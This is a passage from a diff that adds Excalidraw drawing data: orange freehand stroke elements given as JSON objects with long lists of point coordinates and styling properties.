22.510701677396074 + ], + [ + 47.57941612409823, + 19.44104146688263 + ], + [ + 47.06777844100942, + 14.836604820765757 + ], + [ + 47.06777844100942, + 11.255336201519906 + ], + [ + 47.06777844100942, + 8.18570526536282 + ], + [ + 47.06777844100942, + 6.139271630433023 + ], + [ + 47.06777844100942, + 4.604475678591992 + ], + [ + 47.06777844100942, + 4.092847753622032 + ], + [ + 47.06777844100942, + 3.581249103008339 + ], + [ + 47.06777844100942, + 1.534815468078591 + ], + [ + 46.55617979039563, + 0.511608408732449 + ], + [ + 46.04458113978203, + 0 + ], + [ + 46.04458113978203, + -0.5115888924948889 + ], + [ + 45.532982489168425, + -0.5115888924948889 + ], + [ + 41.95171386992263, + -0.5115888924948889 + ], + [ + 37.34728698192427, + 0.511608408732449 + ], + [ + 32.23122241083749, + 2.0464433930485515 + ], + [ + 30.18478877590769, + 3.0696406942759373 + ], + [ + 29.16155244220528, + 3.581249103008339 + ], + [ + 28.649953791591688, + 3.581249103008339 + ], + [ + 28.138355140977897, + 4.092847753622032 + ], + [ + 27.1151578397507, + 5.62767297981933 + ], + [ + 26.603520156661894, + 6.650880039165473 + ], + [ + 26.0919215060481, + 9.208912324708912 + ], + [ + 25.068724204820906, + 10.74373755090621 + ], + [ + 25.068724204820906, + 11.255336201519906 + ], + [ + 25.068724204820906, + 12.790161427717251 + ], + [ + 25.068724204820906, + 13.301769836449651 + ], + [ + 24.55712555420712, + 14.324976895795746 + ], + [ + 24.045487871118304, + 15.859802121993093 + ], + [ + 22.51069191927732, + 17.906225998804135 + ], + [ + 21.999093268663728, + 18.929433058150224 + ], + [ + 21.487455585575105, + 20.46425828434753 + ], + [ + 20.975856934961314, + 22.510701677396074 + ], + [ + 20.464258284347526, + 23.533898978623416 + ], + [ + 19.95265963373393, + 25.068733962939522 + ], + [ + 19.441060983120334, + 26.091931264166856 + ], + [ + 20.464258284347526, + 25.580322855434407 + ], + [ + 28.138355140977897, + 19.44104146688263 + ], + [ + 37.34728698192427, + 13.813368487063347 + ], + [ + 49.11421207593921, + 7.67409685663037 + ], + [ + 52.1838430120962, + 7.162507964135434 + ], + [ + 52.1838430120962, + 8.18570526536282 + ], + [ + 49.62581072655281, + 12.790161427717251 + ], + [ + 41.44011521930884, + 21.487465343693668 + ], + [ + 33.25441971206488, + 30.69638742652129 + ], + [ + 18.92942330003152, + 43.48654885423849 + ], + [ + 12.790161427717349, + 48.091014774711724 + ], + [ + 12.27856277710375, + 48.60261342532537 + ], + [ + 12.27856277710375, + 47.06779795724683 + ], + [ + 16.883028697576744, + 40.41691791808135 + ], + [ + 22.51069191927732, + 35.30086310511323 + ], + [ + 29.16155244220528, + 31.719594485867436 + ], + [ + 32.23122241083749, + 31.719594485867436 + ], + [ + 33.25441971206488, + 32.74283081956984 + ], + [ + 32.23122241083749, + 40.92851656869506 + ], + [ + 29.673190125294095, + 46.04458113978193 + ], + [ + 27.1151578397507, + 49.114212075939015 + ], + [ + 26.603520156661894, + 50.64904706025513 + ], + [ + 27.1151578397507, + 49.114212075939015 + ], + [ + 30.18478877590769, + 47.579396607860524 + ], + [ + 32.742821061451274, + 47.06779795724683 + ], + [ + 34.78925469638107, + 47.06779795724683 + ], + [ + 34.78925469638107, + 51.16064571086881 + ], + [ + 32.742821061451274, + 57.29992709942059 + ], + [ + 30.696387426521483, + 61.90437350365627 + ], + [ + 30.18478877590769, + 62.927590321121166 + ], + [ + 30.18478877590769, + 62.41599167050747 + ], + [ + 33.25441971206488, + 61.39277485304258 + ], + [ + 34.78925469638107, + 61.39277485304258 + ], + [ + 35.30085334699448, + 61.39277485304258 + ], + [ + 34.27761701329226, + 64.46240578919966 + ], + [ + 29.673190125294095, + 68.043654892208 + ], + [ + 23.022290569891112, + 72.64812081268126 + ], + [ + 17.394627348190536, + 74.18293628075978 + ], + [ + 15.85979236387453, + 74.18293628075978 + ], + [ + 15.348193713260741, + 73.15971946329488 + ], + [ + 15.348193713260741, + 66.50883942412946 + ], + [ + 17.394627348190536, + 57.29992709942059 + ], + [ + 19.95265963373393, + 44.509765671703384 + ], + [ + 21.487455585575105, + 35.30086310511323 + ], + [ + 21.999093268663728, + 28.138355140977897 + ], + [ + 21.999093268663728, + 27.62676624848296 + ], + [ + 21.999093268663728, + 27.115138323513 + ], + [ + 21.999093268663728, + 28.649963549710296 + ], + [ + 22.51069191927732, + 40.92851656869506 + ], + [ + 22.51069191927732, + 42.97495020362484 + ], + [ + 22.51069191927732, + 47.579396607860524 + ], + [ + 22.51069191927732, + 48.091014774711724 + ], + [ + 22.51069191927732, + 49.114212075939015 + ], + [ + 22.51069191927732, + 48.091014774711724 + ], + [ + 22.51069191927732, + 44.509765671703384 + ], + [ + 21.999093268663728, + 27.115138323513 + ], + [ + 21.999093268663728, + 20.46425828434753 + ], + [ + 21.999093268663728, + 18.417834407536535 + ], + [ + 21.999093268663728, + 20.975866693079976 + ], + [ + 21.999093268663728, + 27.62676624848296 + ], + [ + 21.487455585575105, + 40.41691791808135 + ], + [ + 20.464258284347526, + 52.18386252833371 + ], + [ + 18.92942330003152, + 61.90437350365627 + ], + [ + 17.906225998804327, + 65.48562260666455 + ], + [ + 17.906225998804327, + 65.99724077351577 + ], + [ + 17.906225998804327, + 64.97402395605086 + ], + [ + 17.906225998804327, + 63.95080713858602 + ], + [ + 17.394627348190536, + 50.137428893403914 + ], + [ + 17.394627348190536, + 42.46333203677364 + ], + [ + 17.394627348190536, + 36.32406040634063 + ], + [ + 17.394627348190536, + 34.27762677141082 + ], + [ + 17.394627348190536, + 32.74283081956984 + ], + [ + 17.394627348190536, + 35.30086310511323 + ], + [ + 17.394627348190536, + 41.95173338615995 + ], + [ + 16.37139101448813, + 48.091014774711724 + ], + [ + 14.836595062646952, + 54.230276647025896 + ], + [ + 14.32499641203355, + 56.78830893256939 + ], + [ + 13.813358728944733, + 56.78830893256939 + ], + [ + 13.301760078330947, + 55.765111631342 + ], + [ + 12.27856277710375, + 53.207079345798604 + ], + [ + 10.743727792787553, + 44.509765671703384 + ], + [ + 10.743727792787553, + 34.78923518014327 + ], + [ + 10.232129142173957, + 26.091931264166856 + ], + [ + 10.232129142173957, + 19.952669391852638 + ], + [ + 10.232129142173957, + 19.44104146688263 + ], + [ + 10.232129142173957, + 21.487465343693668 + ], + [ + 10.232129142173957, + 30.1847985340264 + ], + [ + 10.232129142173957, + 41.95173338615995 + ], + [ + 10.232129142173957, + 48.091014774711724 + ], + [ + 10.743727792787553, + 53.207079345798604 + ], + [ + 10.743727792787553, + 51.16064571086881 + ], + [ + 12.27856277710375, + 46.55617979039563 + ], + [ + 13.813358728944733, + 38.370484283151605 + ], + [ + 15.348193713260741, + 31.207995835253737 + ], + [ + 16.37139101448813, + 29.161562200323942 + ], + [ + 18.92942330003152, + 35.30086310511323 + ], + [ + 20.975856934961314, + 40.92851656869506 + ], + [ + 24.55712555420712, + 45.021364322317034 + ], + [ + 27.626756490364297, + 45.53298248916824 + ], + [ + 30.18478877590769, + 45.021364322317034 + ], + [ + 36.83564929883565, + 40.92851656869506 + ], + [ + 43.486548854238634, + 35.81245199760817 + ], + [ + 50.64904706025522, + 30.69638742652129 + ], + [ + 54.230276647026, + 28.138355140977897 + ], + [ + 54.230276647026, + 27.62676624848296 + ], + [ + 51.160645710869005, + 34.27762677141082 + ], + [ + 46.55617979039563, + 45.53298248916824 + ], + [ + 40.41691791808145, + 56.78830893256939 + ], + [ + 39.393681584379046, + 58.83474256749914 + ], + [ + 36.83564929883565, + 62.41599167050747 + ], + [ + 36.83564929883565, + 62.927590321121166 + ], + [ + 36.83564929883565, + 61.90437350365627 + ], + [ + 36.83564929883565, + 59.85795938496398 + ], + [ + 36.83564929883565, + 51.16064571086881 + ], + [ + 37.34728698192427, + 43.99814750485219 + ], + [ + 38.37048428315185, + 40.41691791808135 + ], + [ + 38.882082933765254, + 40.41691791808135 + ], + [ + 38.882082933765254, + 42.46333203677364 + ], + [ + 36.83564929883565, + 48.091014774711724 + ], + [ + 33.76601836267847, + 55.765111631342 + ], + [ + 32.742821061451274, + 57.81152575003429 + ], + [ + 28.649953791591688, + 62.41599167050747 + ], + [ + 27.626756490364297, + 62.927590321121166 + ], + [ + 27.1151578397507, + 56.78830893256939 + ], + [ + 27.1151578397507, + 53.207079345798604 + ], + [ + 29.673190125294095, + 42.46333203677364 + ], + [ + 34.78925469638107, + 29.67317060905639 + ], + [ + 37.85888563253806, + 23.022290569891016 + ], + [ + 38.882082933765254, + 20.975866693079976 + ], + [ + 38.882082933765254, + 23.533898978623416 + ], + [ + 36.324050648222055, + 31.207995835253737 + ], + [ + 30.18478877590769, + 42.46333203677364 + ], + [ + 26.0919215060481, + 53.207079345798604 + ], + [ + 23.533889220504904, + 57.29992709942059 + ], + [ + 23.022290569891112, + 57.81152575003429 + ], + [ + 23.533889220504904, + 56.27671028195569 + ], + [ + 25.068724204820906, + 54.230276647025896 + ], + [ + 32.742821061451274, + 41.95173338615995 + ], + [ + 37.34728698192427, + 34.27762677141082 + ], + [ + 40.92851656869505, + 31.207995835253737 + ], + [ + 39.393681584379046, + 34.27762677141082 + ], + [ + 33.25441971206488, + 43.99814750485219 + ], + [ + 25.068724204820906, + 56.27671028195569 + ], + [ + 20.975856934961314, + 60.88117620242888 + ], + [ + 12.790161427717349, + 70.09008852713775 + ], + [ + 12.790161427717349, + 71.11330534460264 + ], + [ + 12.790161427717349, + 70.09008852713775 + ], + [ + 14.32499641203355, + 65.99724077351577 + ], + [ + 18.92942330003152, + 59.34634121811278 + ], + [ + 27.1151578397507, + 50.64904706025513 + ], + [ + 35.30085334699448, + 42.46333203677364 + ], + [ + 36.83564929883565, + 41.440115219308744 + ], + [ + 36.83564929883565, + 42.46333203677364 + ], + [ + 36.83564929883565, + 47.06779795724683 + ], + [ + 35.812451997608264, + 49.62583024279022 + ], + [ + 33.25441971206488, + 59.85795938496398 + ], + [ + 33.25441971206488, + 57.29992709942059 + ], + [ + 35.30085334699448, + 54.230276647025896 + ], + [ + 36.83564929883565, + 51.16064571086881 + ], + [ + 37.85888563253806, + 49.62583024279022 + ], + [ + 38.37048428315185, + 49.114212075939015 + ], + [ + 36.324050648222055, + 51.67224436148251 + ], + [ + 32.23122241083749, + 57.29992709942059 + ], + [ + 25.580322855434503, + 62.927590321121166 + ], + [ + 18.92942330003152, + 65.99724077351577 + ], + [ + 10.232129142173957, + 69.06687170967291 + ], + [ + 8.18569550724416, + 69.06687170967291 + ], + [ + 7.674096856630371, + 68.5552730590592 + ], + [ + 7.162498206016775, + 68.043654892208 + ], + [ + 5.627663221700574, + 68.043654892208 + ], + [ + -0.5115986506134034, + 68.043654892208 + ], + [ + -2.0464336349296026, + 68.5552730590592 + ], + [ + -7.674096856630177, + 68.5552730590592 + ], + [ + -9.720530491559973, + 68.5552730590592 + ], + [ + -12.790161427717154, + 68.5552730590592 + ], + [ + -16.883028697576556, + 68.5552730590592 + ], + [ + -22.51069191927713, + 68.5552730590592 + ], + [ + -25.06872420482052, + 69.57847036028654 + ], + [ + -28.649953791591297, + 70.09008852713775 + ], + [ + -26.603520156661503, + 68.043654892208 + ], + [ + -20.464258284347526, + 64.46240578919966 + ], + [ + -3.581229586770779, + 56.78830893256939 + ], + [ + 8.697294157857757, + 52.69546117894741 + ], + [ + 16.37139101448813, + 50.64904706025513 + ], + [ + 17.394627348190536, + 50.64904706025513 + ], + [ + 16.883028697576744, + 51.16064571086881 + ], + [ + 12.790161427717349, + 53.207079345798604 + ], + [ + 2.5580322855435855, + 54.7418948138771 + ], + [ + -9.720530491559973, + 55.253493464490795 + ], + [ + -17.90622599880394, + 55.765111631342 + ], + [ + -18.417824649417728, + 55.765111631342 + ], + [ + -16.883028697576556, + 55.765111631342 + ], + [ + -4.092867269859398, + 54.230276647025896 + ], + [ + 19.441060983120334, + 49.114212075939015 + ], + [ + 28.138355140977897, + 48.091014774711724 + ], + [ + 33.25441971206488, + 47.579396607860524 + ], + [ + 32.23122241083749, + 47.579396607860524 + ], + [ + 22.51069191927732, + 49.114212075939015 + ], + [ + 8.697294157857757, + 49.62583024279022 + ], + [ + -8.185695507243773, + 50.64904706025513 + ], + [ + -25.580322855434307, + 50.64904706025513 + ], + [ + -30.6963874265211, + 51.16064571086881 + ], + [ + -31.207986077134887, + 51.16064571086881 + ], + [ + -30.6963874265211, + 51.67224436148251 + ], + [ + -27.62675649036411, + 51.67224436148251 + ], + [ + -20.975856934960927, + 51.16064571086881 + ], + [ + -9.720530491559973, + 50.137428893403914 + ], + [ + 13.301760078330947, + 47.06779795724683 + ], + [ + 15.348193713260741, + 46.55617979039563 + ], + [ + 13.813358728944733, + 46.55617979039563 + ], + [ + 7.162498206016775, + 49.62583024279022 + ], + [ + -4.092867269859398, + 55.253493464490795 + ], + [ + -12.278562777103367, + 59.34634121811278 + ], + [ + -14.836595062646952, + 61.39277485304258 + ], + [ + -15.34819371326055, + 61.90437350365627 + ], + [ + -11.255326443400955, + 60.88117620242888 + ], + [ + -4.604465920472995, + 58.32314391688549 + ], + [ + 7.674096856630371, + 56.27671028195569 + ], + [ + 10.232129142173957, + 56.27671028195569 + ], + [ + 10.232129142173957, + 56.78830893256939 + ], + [ + 7.674096856630371, + 60.88117620242888 + ], + [ + 0.5115986506137897, + 66.50883942412946 + ], + [ + -3.069630936156989, + 69.57847036028654 + ], + [ + -3.069630936156989, + 70.09008852713775 + ], + [ + -2.5580322855431996, + 70.09008852713775 + ], + [ + 5.627663221700574, + 67.02043807474315 + ], + [ + 13.301760078330947, + 62.927590321121166 + ], + [ + 21.999093268663728, + 61.39277485304258 + ], + [ + 19.441060983120334, + 61.39277485304258 + ], + [ + 17.906225998804327, + 61.90437350365627 + ], + [ + 8.697294157857757, + 64.46240578919966 + ], + [ + 1.5348349843161995, + 65.48562260666455 + ], + [ + -1.023197301227193, + 65.48562260666455 + ], + [ + 1.0231973012275795, + 64.46240578919966 + ], + [ + 7.674096856630371, + 61.39277485304258 + ], + [ + 14.32499641203355, + 58.83474256749914 + ], + [ + 15.85979236387453, + 57.81152575003429 + ], + [ + 12.790161427717349, + 57.81152575003429 + ], + [ + 2.046433634929796, + 57.81152575003429 + ], + [ + -14.32499641203316, + 57.81152575003429 + ], + [ + -27.115157839750314, + 57.81152575003429 + ], + [ + -46.04458113978184, + 58.83474256749914 + ], + [ + -49.625810726552615, + 59.34634121811278 + ], + [ + -47.57941612409785, + 59.34634121811278 + ], + [ + -41.44011521930845, + 55.765111631342 + ], + [ + -37.85888563253768, + 54.7418948138771 + ], + [ + -36.32405064822167, + 53.207079345798604 + ], + [ + -35.81245199760807, + 52.18386252833371 + ], + [ + -35.30085334699448, + 50.64904706025513 + ], + [ + -33.766018362678274, + 48.091014774711724 + ], + [ + -32.2312224108371, + 45.53298248916824 + ], + [ + -32.2312224108371, + 42.97495020362484 + ], + [ + -31.207986077134887, + 38.370484283151605 + ], + [ + -29.673190125293903, + 33.25441971206473 + ], + [ + -29.673190125293903, + 30.1847985340264 + ], + [ + -29.673190125293903, + 29.67317060905639 + ], + [ + -29.16155244220509, + 29.67317060905639 + ], + [ + -28.138355140977705, + 35.30086310511323 + ], + [ + -25.580322855434307, + 43.48654885423849 + ], + [ + -23.533889220504513, + 52.69546117894741 + ], + [ + -23.022290569890725, + 59.34634121811278 + ], + [ + -22.51069191927713, + 63.43920848797237 + ], + [ + -22.51069191927713, + 64.46240578919966 + ], + [ + -22.51069191927713, + 63.43920848797237 + ], + [ + -22.51069191927713, + 60.36955803557768 + ], + [ + -22.51069191927713, + 52.18386252833371 + ], + [ + -23.022290569890725, + 42.46333203677364 + ], + [ + -24.045487871118304, + 33.76602812079717 + ], + [ + -24.045487871118304, + 28.138355140977897 + ], + [ + -24.045487871118304, + 27.62676624848296 + ], + [ + -23.533889220504513, + 31.207995835253737 + ], + [ + -22.51069191927713, + 38.370484283151605 + ], + [ + -18.92942330003133, + 47.06779795724683 + ], + [ + -17.394627348190152, + 52.18386252833371 + ], + [ + -16.883028697576556, + 53.207079345798604 + ], + [ + -16.883028697576556, + 52.18386252833371 + ], + [ + -17.90622599880394, + 48.091014774711724 + ], + [ + -20.464258284347526, + 42.46333203677364 + ], + [ + -20.975856934960927, + 37.85888563253796 + ], + [ + -21.48745558557472, + 32.23120289459988 + ], + [ + -21.48745558557472, + 30.1847985340264 + ], + [ + -21.48745558557472, + 29.67317060905639 + ], + [ + -21.48745558557472, + 28.649963549710296 + ], + [ + -20.975856934960927, + 26.603529914780548 + ], + [ + -17.394627348190152, + 23.533898978623416 + ], + [ + -11.255326443400955, + 19.44104146688263 + ], + [ + -7.674096856630177, + 16.371400772606787 + ], + [ + -5.116064571086786, + 14.324976895795746 + ], + [ + -4.604465920472995, + 13.301769836449651 + ], + [ + -4.092867269859398, + 13.301769836449651 + ], + [ + -3.581229586770779, + 12.790161427717251 + ], + [ + -2.5580322855431996, + 12.278572535222315 + ], + [ + -1.5348349843160063, + 11.255336201519906 + ], + [ + -0.5115986506134034, + 10.74373755090621 + ], + [ + -0.5115986506134034, + 9.720540249678875 + ], + [ + 0, + 9.208912324708912 + ], + [ + 0.5115986506137897, + 8.18570526536282 + ], + [ + 1.0231973012275795, + 7.67409685663037 + ], + [ + 1.5348349843161995, + 6.650880039165473 + ], + [ + 2.046433634929796, + 5.116064571086882 + ], + [ + 2.5580322855435855, + 4.604475678591992 + ], + [ + 2.5580322855435855, + 4.092847753622032 + ], + [ + 2.5580322855435855, + 3.581249103008339 + ], + [ + 4.092867269859592, + 1.534815468078591 + ], + [ + 4.604465920473381, + 1.023216817464898 + ], + [ + 5.116064571086978, + 0 + ], + [ + 5.116064571086978, + 0 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1221, + "versionNonce": 1123020000, + "index": "c167V", + "isDeleted": false, + "id": "af9nhmWYp3wAkNoAKHDId", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3150.9675541631614, + "y": 23.183341224666037, + "strokeColor": "#e67700", + "backgroundColor": "transparent", + "width": 39.39368158437885, + "height": 49.11420231782027, + "seed": 150026184, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -3.581229586770778, + 3.5812393448895348 + ], + [ + -10.23212914217357, + 7.674096856630276 + ], + [ + -20.46425828434753, + 13.8133684870633 + ], + [ + -29.16155244220509, + 18.41782464941773 + ], + [ + -31.71958472774848, + 20.46425828434748 + ], + [ + -32.2312224108371, + 20.46425828434748 + ], + [ + -32.2312224108371, + 19.441060983120142 + ], + [ + -23.02229056989072, + 12.790161427717157 + ], + [ + -17.90622599880394, + 9.208931840946377 + ], + [ + -12.278562777103364, + 5.116064571086882 + ], + [ + -4.604465920472994, + -0.5116084087324491 + ], + [ + -3.581229586770778, + -1.0231973012273865 + ], + [ + -3.581229586770778, + 0 + ], + [ + -5.116064571086785, + 1.023207059346094 + ], + [ + -9.720530491559972, + 8.185695507243969 + ], + [ + -14.836595062646948, + 12.790161427717157 + ], + [ + -15.85979236387414, + 15.85979236387429 + ], + [ + -16.883028697576748, + 16.8830286975767 + ], + [ + -17.39462734819015, + 16.8830286975767 + ], + [ + -15.85979236387414, + 14.8365853045282 + ], + [ + -11.766964126489766, + 8.697303915976418 + ], + [ + -5.116064571086785, + 1.5348349843160551 + ], + [ + 2.0464336349297954, + -4.604456162354481 + ], + [ + 5.116064571086977, + -6.139261872314268 + ], + [ + 4.60446592047338, + -3.069640694275938 + ], + [ + -0.5115986506135966, + 4.604456162354433 + ], + [ + -9.208931840946375, + 14.8365853045282 + ], + [ + -16.371391014487934, + 20.46425828434748 + ], + [ + -17.90622599880394, + 21.999093268663582 + ], + [ + -18.929423300031324, + 23.022290569890924 + ], + [ + -17.39462734819015, + 20.46425828434748 + ], + [ + -12.790161427717154, + 15.85979236387429 + ], + [ + -6.650899555402789, + 8.697303915976418 + ], + [ + 0, + 3.0696309361570857 + ], + [ + 4.60446592047338, + -1.0231973012273865 + ], + [ + 4.60446592047338, + 0 + ], + [ + 1.0231973012275792, + 4.604456162354433 + ], + [ + -4.092867269859398, + 10.743727792787409 + ], + [ + -11.255326443400953, + 17.90622599880404 + ], + [ + -13.813358728944346, + 21.999093268663582 + ], + [ + -14.836595062646948, + 23.022290569890924 + ], + [ + -14.836595062646948, + 21.999093268663582 + ], + [ + -14.32499641203316, + 19.441060983120142 + ], + [ + -13.813358728944346, + 16.371400772606695 + ], + [ + -12.790161427717154, + 12.790161427717157 + ], + [ + -12.790161427717154, + 12.278553018984708 + ], + [ + -13.30176007833075, + 13.301760078330851 + ], + [ + -17.39462734819015, + 19.441060983120142 + ], + [ + -20.46425828434753, + 24.557125554207023 + ], + [ + -21.99909326866353, + 27.115157839750466 + ], + [ + -22.510691919277125, + 29.16156220032395 + ], + [ + -22.510691919277125, + 29.673190125293907 + ], + [ + -21.487455585574715, + 27.62674673224536 + ], + [ + -19.441060983119943, + 24.557125554207023 + ], + [ + -16.883028697576748, + 19.952649875615084 + ], + [ + -16.371391014487934, + 19.952649875615084 + ], + [ + -17.39462734819015, + 24.04549762923707 + ], + [ + -20.46425828434753, + 31.71959448586734 + ], + [ + -25.068724204820516, + 37.85887587441912 + ], + [ + -28.649953791591294, + 42.463341794892315 + ], + [ + -29.16155244220509, + 42.974940445506 + ], + [ + -30.184788775907492, + 42.974940445506 + ], + [ + -30.69638742652109, + 41.44012497742746 + ], + [ + -31.71958472774848, + 37.85887587441912 + ], + [ + -32.2312224108371, + 35.30084358887568 + ], + [ + -33.254419712064674, + 29.673190125293907 + ], + [ + -33.254419712064674, + 28.138355140977804 + ], + [ + -33.254419712064674, + 26.603529914780456 + ], + [ + -33.254419712064674, + 29.16156220032395 + ], + [ + -32.74282106145089, + 31.71959448586734 + ], + [ + -31.71958472774848, + 35.81244223948937 + ], + [ + -31.20798607713488, + 36.83565905695422 + ], + [ + -29.673190125293896, + 39.90530950934891 + ], + [ + -29.673190125293896, + 40.41690815996256 + ], + [ + -29.673190125293896, + 39.90530950934891 + ], + [ + -29.673190125293896, + 36.83565905695422 + ], + [ + -29.16155244220509, + 31.20798607713489 + ], + [ + -27.115157839750317, + 27.115157839750466 + ], + [ + -26.091921506047903, + 26.603529914780456 + ], + [ + -26.091921506047903, + 27.115157839750466 + ], + [ + -25.068724204820516, + 30.696387426521245 + ], + [ + -24.557125554206923, + 38.37047452503281 + ], + [ + -24.557125554206923, + 40.41690815996256 + ], + [ + -24.557125554206923, + 36.83565905695422 + ], + [ + -24.557125554206923, + 35.30084358887568 + ], + [ + -23.02229056989072, + 30.696387426521245 + ], + [ + -23.02229056989072, + 29.673190125293907 + ], + [ + -22.510691919277125, + 28.138355140977804 + ], + [ + -21.99909326866353, + 28.138355140977804 + ], + [ + -21.487455585574715, + 31.20798607713489 + ], + [ + -20.97585693496093, + 34.27762677141083 + ], + [ + -20.97585693496093, + 34.78924493826204 + ], + [ + -20.97585693496093, + 35.30084358887568 + ], + [ + -20.97585693496093, + 34.78924493826204 + ], + [ + -22.510691919277125, + 33.76601836267838 + ], + [ + -24.557125554206923, + 33.25441971206468 + ], + [ + -30.69638742652109, + 29.673190125293907 + ], + [ + -33.76601836267827, + 27.62674673224536 + ], + [ + -34.277617013291874, + 27.62674673224536 + ], + [ + -33.254419712064674, + 28.649953791591493 + ], + [ + -29.16155244220509, + 29.16156220032395 + ], + [ + -28.649953791591294, + 29.16156220032395 + ], + [ + -28.138355140977698, + 29.16156220032395 + ], + [ + -28.138355140977698, + 29.16156220032395 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "freedraw", + "version": 1277, + "versionNonce": 1008685280, + "index": "c167d", + "isDeleted": false, + "id": "5t1q8Qifawl244YE-03Jj", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3140.7354250209855, + "y": 22.160143923438227, + "strokeColor": "#e67700", + "backgroundColor": "transparent", + "width": 36.83564929883565, + "height": 46.04458113978193, + "seed": 1686568648, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -0.5115986506137897, + 1.0231973012273865 + ], + [ + -7.674096856630371, + 7.162468931660362 + ], + [ + -13.813358728944733, + 9.720501217203804 + ], + [ + -23.53388922050471, + 16.88298966510168 + ], + [ + -25.068724204820906, + 18.417814891298974 + ], + [ + -25.580322855434503, + 18.929423300031427 + ], + [ + -25.580322855434503, + 19.95263035937757 + ], + [ + -25.068724204820906, + 19.44102195064512 + ], + [ + -21.487455585574914, + 16.371391014487983 + ], + [ + -14.324996412033355, + 11.255326443401101 + ], + [ + -6.650899555403177, + 5.62765346358182 + ], + [ + 1.023197301227193, + 0 + ], + [ + 6.650899555402791, + -5.116064571086882 + ], + [ + 7.16249820601658, + -6.139291146670535 + ], + [ + 7.16249820601658, + -5.627692496056843 + ], + [ + 7.16249820601658, + -4.604475678591945 + ], + [ + 7.16249820601658, + -2.046443393048552 + ], + [ + 3.069630936156989, + 6.650860522927913 + ], + [ + 1.5348349843160063, + 9.208892808471353 + ], + [ + -1.0231973012273863, + 13.301750320212093 + ], + [ + -2.5580322855435855, + 15.348193713260647 + ], + [ + -2.5580322855435855, + 15.859782605755585 + ], + [ + -2.5580322855435855, + 14.324957379558235 + ], + [ + -1.5348349843161995, + 11.255326443401101 + ], + [ + 2.558032285543393, + 5.62765346358182 + ], + [ + 6.139261872314171, + 0.5115888924949373 + ], + [ + 9.720530491559973, + -3.069660210513402 + ], + [ + 11.255326443401149, + -3.581258861127095 + ], + [ + 11.255326443401149, + -1.5348349843161033 + ], + [ + 6.139261872314171, + 6.139261872314268 + ], + [ + -3.581229586770779, + 15.859782605755585 + ], + [ + -13.301760078330947, + 23.53387946238586 + ], + [ + -19.441060983120334, + 27.11511880727539 + ], + [ + -18.92942330003152, + 25.580322855434417 + ], + [ + -14.836595062646952, + 21.487455585574864 + ], + [ + -13.813358728944733, + 19.95263035937757 + ], + [ + -2.5580322855435855, + 11.255326443401101 + ], + [ + 4.092867269859592, + 6.139261872314268 + ], + [ + 8.697294157857565, + 3.581229586770779 + ], + [ + 9.208931840946375, + 3.581229586770779 + ], + [ + 8.697294157857565, + 4.604436646116922 + ], + [ + 4.604465920472995, + 10.232129142173765 + ], + [ + -1.0231973012273863, + 16.88298966510168 + ], + [ + -5.116064571086978, + 20.975847176842468 + ], + [ + -7.674096856630371, + 23.53387946238586 + ], + [ + -7.674096856630371, + 21.487455585574864 + ], + [ + -6.650899555403177, + 19.95263035937757 + ], + [ + -5.627663221700574, + 17.90622599880409 + ], + [ + -3.0696309361571825, + 14.324957379558235 + ], + [ + 4.092867269859592, + 6.139261872314268 + ], + [ + 10.232129142173571, + 1.5348057099597872 + ], + [ + 10.74372779278736, + 1.0231973012273865 + ], + [ + 9.720530491559973, + 3.581229586770779 + ], + [ + 4.092867269859592, + 10.232129142173765 + ], + [ + -4.604465920473381, + 19.44102195064512 + ], + [ + -11.766964126489963, + 26.60352015666175 + ], + [ + -16.883028697576744, + 32.742791787094724 + ], + [ + -18.92942330003152, + 34.27761701329207 + ], + [ + -19.441060983120334, + 33.76600860455962 + ], + [ + -19.441060983120334, + 29.673151092818884 + ], + [ + -18.92942330003152, + 28.13835514097785 + ], + [ + -18.92942330003152, + 25.06869493046445 + ], + [ + -18.92942330003152, + 23.53387946238586 + ], + [ + -18.92942330003152, + 23.022290569890966 + ], + [ + -19.95265963373393, + 23.022290569890966 + ], + [ + -19.95265963373393, + 24.045487871118304 + ], + [ + -20.464258284347526, + 26.091911747929345 + ], + [ + -20.975856934961314, + 28.64994403347274 + ], + [ + -20.975856934961314, + 30.696387426521294 + ], + [ + -20.975856934961314, + 34.789215663905765 + ], + [ + -20.975856934961314, + 35.81244223948942 + ], + [ + -20.975856934961314, + 36.32404089010307 + ], + [ + -20.975856934961314, + 35.300824072638214 + ], + [ + -20.464258284347526, + 30.696387426521294 + ], + [ + -19.441060983120334, + 24.557086521732003 + ], + [ + -18.92942330003152, + 21.487455585574864 + ], + [ + -18.92942330003152, + 22.51066264492096 + ], + [ + -18.92942330003152, + 27.626727216007843 + ], + [ + -18.92942330003152, + 32.23118337836228 + ], + [ + -18.92942330003152, + 36.835639540716755 + ], + [ + -18.92942330003152, + 38.882073175646504 + ], + [ + -18.92942330003152, + 39.9052899931114 + ], + [ + -18.92942330003152, + 39.393671826260196 + ], + [ + -16.883028697576744, + 36.32404089010307 + ], + [ + -15.348193713260741, + 35.81244223948942 + ], + [ + -14.324996412033355, + 35.300824072638214 + ], + [ + -13.813358728944733, + 35.300824072638214 + ], + [ + -13.301760078330947, + 35.300824072638214 + ], + [ + -12.27856277710356, + 36.32404089010307 + ], + [ + -11.255326443401149, + 36.32404089010307 + ], + [ + -11.255326443401149, + 36.835639540716755 + ], + [ + -10.232129142173957, + 36.835639540716755 + ], + [ + -9.720530491560167, + 37.34725770756797 + ], + [ + -9.208931840946375, + 37.34725770756797 + ], + [ + -9.208931840946375, + 38.37047452503281 + ], + [ + -9.208931840946375, + 39.393671826260196 + ], + [ + -10.232129142173957, + 39.393671826260196 + ], + [ + -11.255326443401149, + 39.393671826260196 + ], + [ + 